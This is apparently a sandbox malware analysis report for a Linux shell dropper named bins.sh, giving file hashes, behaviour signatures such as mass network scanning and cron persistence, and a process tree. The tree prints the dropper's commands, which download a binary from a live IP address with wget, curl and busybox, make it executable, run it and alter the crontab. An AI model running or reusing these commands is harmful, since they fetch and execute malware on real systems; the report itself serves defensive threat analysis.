Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04-11-2024 19:52

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3ddeda65fdff7dc7e3cc275ff6f553d3

  • SHA1

    63ea40bbcbb7ae0a7d338ea6283460d48c3f6368

  • SHA256

    67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af

  • SHA512

    b1a6e4dbb31b142cac5c142a8adafdb6e53106d788ce26f3e40d930a821147cc6dc5289ecc3217d1b7545ab6d69bd3c12c3128a980d76ac3986a334f102c3a0e

  • SSDEEP

    96:Bj2IPO3r7edhO9HzMJQIDCuBlVArHZro/T8jAIC+r7edh4VLIlVArHZfDzMlPQIz:Bj2IPOd92QIDCuBsKQIDCuv

Malware Config

Signatures

  • Contacts a large (2136) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1494
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1495
        • /usr/bin/wget
          wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Writes file to tmp directory
          PID:1496
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Writes file to tmp directory
          PID:1501
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Writes file to tmp directory
          PID:1509
        • /bin/chmod
          chmod 777 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • File and Directory Permissions Modification
          PID:1510
        • /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          ./kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1511
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1513
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1514
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1515
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1516
              • /bin/rm
                rm kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
                2⤵
                  PID:1518
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
                  2⤵
                    PID:1521

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /var/spool/cron/crontabs/tmp.GZsu3D

                  Filesize

                  210B

                  MD5

                  95fb6aa6c04f558af7419dec5307cbe1

                  SHA1

                  e82a55e4892787bc66cf90c11b9d0a3b441619b5

                  SHA256

                  74fd7367666ec02c7e623014ec10fae5118f3fe80e6a28e369fa80fd38768b94

                  SHA512

                  283e144e0daede569f1b39c469a0f0bfe32677b5333b82a8d7992ac078918934ade6b5a8a359307ce63730ccac66974c84a5c7fbd0a2f544a7c84b7d471f4aac